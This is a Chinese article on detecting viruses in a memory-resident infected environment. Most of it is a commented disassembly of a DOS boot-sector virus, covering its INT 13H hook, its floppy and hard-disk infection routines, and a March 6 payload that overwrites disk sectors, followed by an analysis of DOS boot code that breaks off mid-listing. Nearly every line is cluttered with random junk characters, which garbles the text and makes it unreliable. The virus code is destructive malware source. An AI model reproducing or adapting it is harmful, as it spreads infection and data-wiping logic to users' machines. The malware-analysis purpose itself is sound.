近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 yA"?Hv \o;
?? )92(C
?? 一 、 带毒环境下检测清除病毒的意义 4H,c;g=!
?? p`A2^FS)
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 h%$^s0w
?? 1goRO
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 H[nBNz)C
?? z9OpMA
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 w'
J`$=
?? &n_f.oUc
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 Q|{b8K
?? m:`M&Xs&
?? 二 、带毒环境下检测清除病毒的原理 - E GZ
?? M^8zqAA
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 F)X`CG ;t
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。
Hcg7u7M{
S'qT+pP
>g>r_0.
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " r<n:o7
病毒体: 2cQ~$
JMP 01AF ;JMP到01AF rjWtioZEa
DB 00 ;病毒标计 r,.j^a
DW 00F5 ;此为搬到高位址后,远程跳转指令 EATVce]T
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX #oa>Z.?_V
DB 02
D8u`6/^
DW 0003 ;此为软盘识别标记,硬盘为0007 T:'JA
DW EC59 ; 5yK#;!:h
DW F000 ;INT 13H的原入口 d9U)O6=
. k ZF<~U
. CUG"2K9
. /bo=,%wJ[
. b\H&E{Gn|x
. (M1YOK) I
XOR AX,AX ;清除AX M_UmnqN1C
MOV DS,AX; ;让DS=0000 bri8o"
CLI ;清I标志积存器 *A8*FX>\F
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 &}Wi@;G]2
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 9M7P|Q
MOV SP,AX ;开机时为0000:7CB6 #yR&|*@
STI ;设I标志积存器 0\Jeyb2dl
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A "|dhmV[;
PUSH AX ;用RETF,把程序转到引导或分区表位置 ?)(/SZC0
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 WHv6E!^\_
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 @{fwM;me]P
MOV AX,[004E] ;取INT 13H的段地址 '{.4~:
MOV [7C0C],AX ;存到010C \db=]L=|
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 CC"a2Hu/
;读写以便传播发作 M[z1B!rT
.On qj^v
MOV AX,[0413] ;取得内存K数,放在AX XI[n!)3
DEC AX ; /1{:uh$
DEC AX ;减2k内存 )h 6 w@TF
MOV [0413],AX ;存回,通常是638K ?.F^Oi6
u
MOV CL,06 ; uQn1kI[y
SHL AX,CL ; n!~ $Z/
MOV ES,AX ;算出减2K后病毒本体的位址 M \k[?i
MOV [7C05],AX ;AX存入0105 4XVwi<)
9#hp]0S6
;病毒常用手法将系统高段内存减少以便驻留 |y0k}ed
;这样可以免于被其他程序覆盖 tw<Oy^i
fUY05OMZ
MOV AX,000E ;病毒拦INT 13H /%,aX[
;ISR起始的偏移量 s:xJ }Ll
MOV [004C],AX ; 6Sn&;ap
MOV [004E],ES ;设原为病毒的INT 13H Z?=o(hkd
MOV CX,01BE ;病毒长度为1BE =8tK]lb
MOV SI,7C00 ;从JMP 01AF开始 286reeN/e
XOR DI,DI ;DI=0 <+q`Dk
CLD ;清方向标志 B[7,Hy,R
REPZ; yF6AI@y
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 W/t,7lPFb
CS: ;分区表能载入0000:7C00正常运作 '&,p>aM
JMP FAR [7C03] ;跳到为搬过后的位址 ,9I-3**W
XOR AX,AX ;清AX Twd*HH
MOV ES,AX ;ES=0000 ?0KIM*
.
INT 13 ;复位磁盘 6la'\l#
PUSH CS ; V3cKdlu Na
POP DS ;让DS=CS LprGsqr:
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 3w |5%`
MOV BX,7C00 ;读到0000:7C00 )7+z/y+[n
MOV CX,[0008] ;硬盘第0道,第7扇区 hO3
q|SL
CMP CX,+07 ;比较是否从硬盘启动 $)KODI>|
JNZ 0213 ;不是跳0213 YRBJ(v"9
MOV DX,0080 ;第一硬盘C:第零面 iZ}c[hC'3`
INT 13 ;用INT 13号中断,读 }0anssC
JMP 023E ;跳023E比较日期,发作或正常开机 %f("3!#H
MOV CX,[0008] ;软盘0道,第3扇区 1twpOZ>
MOV DX,0100 ;A:的第0面 k=9+"4:
INT 13 ;INT 13读盘 t, /8U
JB 023E ;失败跳023E DMDtry?1:
PUSH CS ^J hs/HV
POPES ;让ES=CS -?1R l:rM
MOV AX,0201 ; b3[!1i
MOV BX,0200 ; 6E1~dK0t
MOV CX,0001 ; x;bA\b
MOV DX,0080 ; `w>D6K+
INT 13 ;读入C:的分区表到0200,以便下面比较 v,QvCozOz
JB 023E ;失败跳023E l/nBin&YGv
XOR SI,SI ;清SI {`M\}(E
CLD ;清方向标志以便比较 e&T-GL
LODSW ;载入一个WORD到AX 3ww\Z8UeK
CMP AX,[BX] ;比较有无病毒存在..E9AC 73'A Q")UJ
JNZ 0287 ;没有则跳0287传染 e>c
-b^{&
LODSW ;载入一个WORD到AX }{@y]DcdM4
CMP AX,[BX+02] ;再次确认..0000 ?<N} Xh
JNZ 0287 ;没有跳0287 I2RXw
XOR CX,CX ;清CX l8+)Xk>
MOV AH,04 ;
*$DD+]2
INT 1A ;取得日期 hPz=Ec<zW
CMP DX,0306 ;是否为三月六日 xgkCN$zQ`
JZ 024B ;是跳024B传染 y*sVimx
RETF ;把程序交还给引导启动完成 pnp8`\cIH
p&<n_b
步骤4:病毒INT 13代码分析 CC3i@
方法:U D8~\*0->
PUSH DS ;首先把要用到积存器 q&9]4j
PUSH AX ;入栈保存 k%Tp9x$
OR DL,DL ;比较是否为软盘 2TB'HNTFx
JNZ 002F ;如不是则退出传染 |"%OI~^%
XOR AX,AX ;AX=0 >iK LC
MOV DS,AX ;数据代段=0 ( Ly^+Hjg
TEST BYTE PTR [043F],01 ;比较是否为A盘
n=~!x
JNZ 002F ;不是则退出 <{;'0> ToM
POP AX ;将以上保存积存器 @oH\r-jsgu
POP DS ;弹栈恢复 .XeZjoJ$z
PUSHF ;压栈标志积存器 EJ<L,QH3
CS: ;以便执行原INT 13 I Ij:3HP
CALL FAR [000A] ;执行原INT 13 :XAyMK7
PUSHF ;再次压栈 yN `&oya
CALL 0036 ;以便跳转到传染程序 t$VRNZ`dy
POPF ;跳转到执行传染 LfW:G5@-
RETF 0002 ;结束中断调用返回 8|\ -(:v
POP AX ;恢复 VCnf`wZB"
POP DS ;堆栈 Zon7G6s9`
CS: ;跳转到原正常INT 13 <zTz/Hk`
JMP FAR [000A] ;地址执行
=a=:+q g
wX6-WQR
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 ~}ifwm'7 a
>)*d/ ^
步骤5:传染过程分析 >+;}"J
方法:U XI$W
对软盘传染过程: *Od?>z
PUSH AX ;工 f9Xa}*
PUSH BX ;作 [X]hb7-&
PUSH CX ;寄 ~fL`aU&
PUSH DX ;存 z!b:|*m]w
PUSH DS ;器 %1#|>^
PUSH ES ;入 dD39?K/
PUSH SI ;栈 8tjWVo
PUSH DI ;保存 bxL'k/Y$
PUSH CS ;以压/弹栈方式 NPO!J^^
POP DS ;使数据段DS和 EFI!b60mc
PUSH CS ;附加段ES均指向 gG.+3=
POP ES ;代码段CS xfX|AC
MOV SI,0004 ;试4次 T1Z*>(M
MOV AX,0201 ;设置各 Glx{Zu=
MOV BX,0200 ;积存器 6?.S-.Mr
MOV CX,0001 ;为读软盘 6nsb)7a
XOR DX,DX ;引导扇区做准备 +.^pAz U}R
PUSHF ;压栈标志积存器 4)}>dxv
CALL FAR [000A] ;正常的INT 13调用 l]t^MEoc8
JNB 0063 ;成功则转判断 l'2vo=IQ
XOR AX,AX ;不成功复位 FGc#_4SiL
PUSHF ;磁盘继续读 `S?_=JIX
CALL FAR [000A] ;如果4次 !h}Vz
DEC SI ;均匀不成功 aA>!p{/x
JNZ 0045 ;则退出跳转 y,jpd#Y
JMP 00A6 ;退出传染 ir\)Hz2P
XOR SI,SI ;SI=0以便用 !U2<\!_
CLD ;LODSW读入软盘 HL$7Ou
LODSW ;第1或第2字进行比较 `\ IaeMvo
CMP AX,[BX] ;比较如果不包含病毒标志 `<T4En
JNZ 0071 ;则跳转写传染 Vx5fQ mx
LODSW ;如果已有标志 dikX_ Q>D
CMP AX,[BX+02] ;则退出 "mU2^4q
JZ 00A6 ;传染子程序 XJl
3\*
MOV AX,0301 ;为写盘准备 RHvKWt
MOV DH,01 ;如果是360K #7:ah
MOV CL,03 ;则写到1面0道3扇区 ER&\2,fZ
CMP BYTE PTR [BX+15],FD ;比较软盘 Ji=`XsV
JZ 0080 ;如果大于360K mrKIiaU<J
MOV CL,0E ;写到1面0道14扇区 ${ DSH
MOV [0008],CX ;写病毒标志到软盘 k'e1ZAn
PUSHF ;调用原INT 13 #^|2PFh5
CALL FAR [000A] ;进行传染 8~.8"gQ
JB 00A6 |7Z}#eP//
MOV SI,03BE ;以下是将正常 %Rr_fSoV
MOV DI,01BE ;引导扇区从 !,b&e
MOV CX,0021 ;1BE起的21字节内容 MZX@Gi<S[
CLD ;搬移到病毒程序尾部 C~.\2D`zy
REPZ ;开始复制 cR55,DR,#W
MOVSW ih75C"
MOV AX,0301 ;写盘功能调用,写一个扇区 5__B
M5|
XOR BX,BX ;将病毒程序 ?l
@=}WN
MOV CX,0001 ;写入软盘引导扇区内
? uP5("c
XOR DX,DX ;设置为软盘 i~<.@&vt
PUSHF &"Cy&[
CALL FAR [000A] ;执行正常INT 13调用写盘 x2b
t^!t.
POP DI ;将 Ag(JSVY
POP SI ;工 \7$"i5
POP ES ;作 `GY]JVW
POP DS ;寄 qn{9vr
POP DX ;存 EUgKJ=jw
POP CX ;器 OQg}E@LZ
POP BX ;退 4 s9^%K\8{
POP AX ;栈 Edcv>}PfE
RET ;返回调用处 |?f~T"|>
对硬盘传染过程: T(cpU,Q
MOV CX,0007 ;第7扇区 %7\l+g,
MOV [0008],CX ;此处为硬盘引导标记 O\]{6+$fm!
MOV AX,301 ;写功能调用 &i`(y>\
MOV DX,0080 ;设置为硬盘 1`Bhis9X8
INT 13 ;将正常引导扇区写到0面0道7扇区内 }+u<w{-7/
JB 13E ;失败则转 [(8s\>T
MOV SI,03BE ;原分区表地址 R Eo{E
MOV DI,01BE ;目标地址 { VM^K1
MOV CX,0021 ;整个分区表 C\bJ_vl;'
REPNZ mB
bGj3u;
MOVSW ;开始复制 mL;oR4{
;此段代码是将硬盘分区信息,搬移到病毒程序尾部 ,]9p&xu
;这样在分析着查看硬盘分区信息时仍能看到该部分 4/S3hH
;内容,以次来麻痹分析者 7g o Rj
MOV AX,0301 ;准备写病毒提进硬盘 pA@R,O>zr
XOR BX,BX ;病毒体位置 rT4q x2 u
INC CL ;第一扇区 g*4^HbVxt
INT 13 ;开始写盘传染 _IxYnm`pc
JMP 013E ;转到13E处判断是否为3月6日,是则发作 Ib/e\+H\
pOl6x iMx
步骤6:破坏过程分析 *Kq;xM6Ck
方法:U 2`FDY3n
主要分析对硬盘数据破坏: g~=-
,j|
. j&8GtE1b
. Ck/w:i@>?
. }^n"t>Z8
. fP( n 3Q
. =gd~rk9
MOV DL,80 k%N$eO$
MOV BYTE PTR[0007],04 Vm I
Afe
;准备写硬盘 ?4W6TSW-'
MOV AL,11 ;写17个扇区 3Dj>U*fP
MOV BX,5000 mv/Nz?
MOV ES,BX ;从内存ES:5000中处开始写 3|URlz
INT 13 ;残不人睹 @lh]?|*[
JNB 0179 ;成功转179继续写 i~4$V
XOR AH,AH >oAXS\Ts
INT 13 ;不成功复位磁盘继续 Q+U" %
INC DH ;使写操作磁头加1继续? SU~ljAF4
CMP DH,[0007] ;比较是否小于0007单元值 '8@4FXK
JB 0150 ;是则返回开始处继续写 ^O"o-3dte
XOR DH,DH ;DH=0 v//Drj
INC CH ;再加扇区 `'bu8JK
JMP 0150 ;反回继续写 1u }2}c|
;以上操作实际上是对硬盘执行4次写操作,每次17个扇区 uXG$YDKqC
;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录 sbhUW>%.
;和文件分配表。 C,<FV+r=^
uCWBM
引导扇区病毒,俺手里没有,这是一段DOS BOOT的分析。BOOT区病毒和他完成同样的工作,只不过每次 [raj:
7yQ
读盘的时将自身写入磁盘。 S\k(0Sv9D
引导过程如下: fLkC|
1>调整堆栈位置 >#.du}t
2>修改并用修改后的磁盘参数表来复位磁盘系统 $JK,9G[Vu
3>计算根目录表的首扇区的位置及IO.SYS的扇区位置 {k'$uW`
4>读入根目录表的首扇区 N=!k2+
5>检查根目录表的开头两项是否为IO.SYS及MSDOS.SYS T{'oR .g,
6>将IO.SYS文件开头三个扇区读入内存0000:0700H处 G{a_\'7
7>跳到0000:0700H处执行IO.SYS,引导完毕 G/1V4-@
003E FA CLI yOk]RB<'r
003F 33C0 XOR AX,AX vsB3n$2@u
0041 8ED0 MOV SS,AX @]V_%,
0041 8ED0 MOV SS,AX Orlf5{P
0043 BC007C MOV SP,7C00 ; 初始化堆栈 Cv`dK=n>
0046 16 PUSH SS R?2T0^0
0047 07 POP ES ;(ES)=0000H iYr*0:M
0048 BB7800 MOV BX,0078 ;1EH 号中断向量的地址为0000:0078H ]==S?_.B3n
004B 36 SS: ;(SS)=0000H {'?PGk%v
004C C537 LDS SI,[BX] ;取1EH号中断向量的内容存入DS:SI 97}l`z;Z
004E 1E PUSH DS ;该中断向量指向一个11字节的磁盘参数表 *44E'Dxv
004F 56 PUSH SI ;取到后压入堆栈中保存 O%} hNTS"
0050 16 PUSH SS @<
0c
0051 53 PUSH BX ;保存地址0000:0078H 1w 9zl}
0052 BF3E7C MOV DI,7C3E ;7C3E-7C00=003EH,即偏移003EH,以下类推 @Ps1.
0055 B90B00 MOV CX,000B ;磁盘参数表共11字节 qFY>/fCP4
0058 FC CLD {^R"V ,)
0059 F3 REPZ ~>3#c#[
005A A4 MOVSB ;将磁盘参数表复制到0000:7C3EH处 "@jYZm8
005B 06 PUSH ES ~yRKNH*M
005C 1F POP DS ;(DS)=0000H _G^ 4KwYp
005D C645FE0F MOV BYTE PTR [DI-02],0F ;修改参数表中"磁头定位时间" TSRl@QVy
0061 8B0E187C MOV CX,[7C18] ;从BPB中取"每磁道扇区数" RAxp2uif
0065 884DF9 MOV [DI-07],CL ;修改参数表中"每磁道扇区数" LdX'V]ITh
0068 894702 MOV [BX+02],AX ;(AX)=0000H,修改1EH号中断向量(段址) StLbX?d 6
006B C7073E7C MOV WORD PTR [BX],7C3E ;修改1EH号中断向量(偏移),这样1EH号 AASS'H@
006F FB STI ;中断向量的内容为0000:7C3EH,指向新的磁盘参数表 {-)I2GJav
0070 CD13 INT 13 ;用新的磁盘参数表来复位磁盘 FJ|JXH*
0072 7279 JB 00ED ;出错则转出错处理 Yjx4H
xl(R|D))
; 下面一段程序计算扇区位置 gI+dyoh
0074 33C0 XOR AX,AX !qs3fe<uh"
0076 3906137C CMP [7C13],AX ;偏移0013H处是Dos分区的总扇区数 1#vi]CX
007A 7408 JZ 0084 ;为零表示大硬盘? Xh*NuHH
007C 8B0E137C MOV CX,[7C13] ;不为0则取出来放到偏移0020H处 [XNDYaF8
0080 890E207C MOV [7C20],CX ;这个值本程序未用,似乎为IO.SYS准备的 t"&qaG{
0084 A0107C MOV AL,[7C10] ;取FAT表的个数 _xo;[rEw8
0087 F726167C MUL WORD PTR [7C16] ;乘以一个FAT表所占的扇区数 p,mKgL63
008B 03061C7C ADD AX,[7C1C] ;加上Dos分区前的扇区数(隐藏扇数,低位) L5]uT`Twa
008F 13161E7C ADC DX,[7C1E] ; 高位 qI2&a$Zb$
0093 03060E7C ADD AX,[7C0E] ;加上Dos分区内的保留扇区数(低位) WG5)-;>q|
0097 83D200 ADC DX,+00 ; (高位) .DhB4v&
009A A3507C MOV [7C50],AX ;根目录表的首扇的逻辑扇区号(低位) 6eK7Jv\K
009D 8916527C MOV [7C52],DX ; (高位) mP./e8
00A1 A3497C MOV [7C49],AX ;此处放IO.SYS的首扇的逻辑扇区号(低位) e1R<+`]
00A4 89164B7C MOV [7C4B],DX ; (高位) }FkF1?C
00A8 B82000 MOV AX,0020 ;根目录表中每项占32字节 :-T[)Q+-3
00AB F726117C MUL WORD PTR [7C11] ;乘以根目录表中的项数 VzuU0
00AF 8B1E0B7C MOV BX,[7C0B] ;取"每扇区的字节数" nS^,Sq\Ak
00B3 03C3 ADD AX,BX ;这两条指令是为了取整 QM=Y}
00B5 48 DEC AX '#612iZo
00B6 F7F3 DIV BX ;除以每扇字节数,得到根目录所占扇区数 A+"'8%o9}
00B8 0106497C ADD [7C49],AX ;得到根目录表后首扇的逻辑扇区号(低位) ,mE}#cyY
00BC 83164B7C00 ADC WORD PTR [7C4B],+00 ; (高位) D[K!xq
;下面一段程序在根目录表中找系统文件IO.SYS和MSDOS.SYS edfb7prfTl
00C1 BB0005 MOV BX,0500 ;内存缓冲区的偏移值 mfgUf
00C4 8B16527C MOV DX,[7C52] ;取根目录表的首扇的逻辑扇区号(高位) lnrs4s Km
00C8 A1507C MOV AX,[7C50] ; (低位) =n_>7@9l
00CB E89200 CALL 0160 ;将逻辑扇区号转换为物理扇区号 &^F'ME
00CE 721D JB 00ED ;出错则转出错处理 -EWC3,3
00D0 B001 MOV AL,01 4FJA+
00D2 E8AC00 CALL 0181 ;读一个扇区到内存(根目录的首扇) )H*BTfmt
00D5 7216 JB 00ED ;出错处理 G;^,T/q47
00D7 8BFB MOV DI,BX ;内存缓冲区的首址 N9PEn[t@
00D9 B90B00 MOV CX,000B ;比较11个字节 yO J|t#
00DC BEE67D MOV SI,7DE6 ;偏移01E6处是串"IO SYS",长11字节 j=PM]
00DF F3 REPZ <*HsJwr)u
00E0 A6 CMPSB ;看第一项是否为IO.SYS Rs "#gT
00E1 750A JNZ 00ED ;不是则出错 \{}5VVw-S?
00E3 8D7F20 LEA DI,[BX+20] ;跳过32字节就指向第二项 C ?aa)H
00E6 B90B00 MOV CX,000B ;比较11个字节 #>">fs]
00E9 F3 REPZ N/8B@}@n
00EA A6 CMPSB ;看第二项是否为MSDOS.SYS Oa'T$'
00EB 7418 JZ 0105 ;是则两个文件都已找到,跳过出错处理 f2i9UZ$=e!
"lBYn 2W
;下面一段进行出错处理 T$o;PJc
00ED BE9E7D MOV SI,7D9E ;偏移019EH处是串"Non system disk..." /9
|BAQ:v;
00F0 E85F00 CALL 0152 ;显示字符串 s[u*~A
00F3 33C0 XOR AX,AX U%aDkC+M
00F5 CD16 INT 16 ;等待任一键按下 RnUud\T/
00F7 5E POP SI hJ*#t<.<P;
00F8 1F POP DS ;得到1EH号中断向量的地址0000:0078H >d^DN;p
00F9 8F04 POP [SI] dPF*G$
00FB 8F4402 POP [SI+02] ;恢复1EH号中断向量的内容 .2*h!d)E
00FE CD19 INT 19 ;自举 7_ 5-gtD
0100 58 POP AX Mdy4H[Odq
0101 58 POP AX ZtOv'nTD
0102 58 POP AX ;清理堆栈 mS
&^xWPV
0103 EBE8 JMP 00ED ;再次试图起动 8}|!p>
l }]"X@&G
;下面读入IO.SYS的头3个扇区到内存0000:0700H处 [}?E,1Q3
0105 8B471A MOV AX,[BX+1A] ;从根目录表第一项中取IO.SYS的首簇号 Lz`_&&6
0108 48 DEC AX "V<7X%LIX
0109 48 DEC AX ;首簇号减二 E.^F:$2
010A 8A1E0D7C MOV BL,[7C0D] ;取每簇的扇区数 D#d
\1g
010E 32FF XOR BH,BH 'TDp%s*;
0110 F7E3 MUL BX ;(首簇号 - 2)乘以 每簇的扇区数 L=kETJ:g
0112 0306497C ADD AX,[7C49] ;相加后得到IO.SYS的首扇的逻辑扇区号 $`"$ZI6[
0116 13164B7C ADC DX,[7C4B] 8:"s3xaO3
011A BB0007 MOV BX,0700 ;内存缓冲区的偏移值 md/NMC
\
011D B90300 MOV CX,0003 ;循环计数初值,读3个扇区 x UTlM
0120 50 PUSH AX ;逻辑扇区号进栈(低位) r<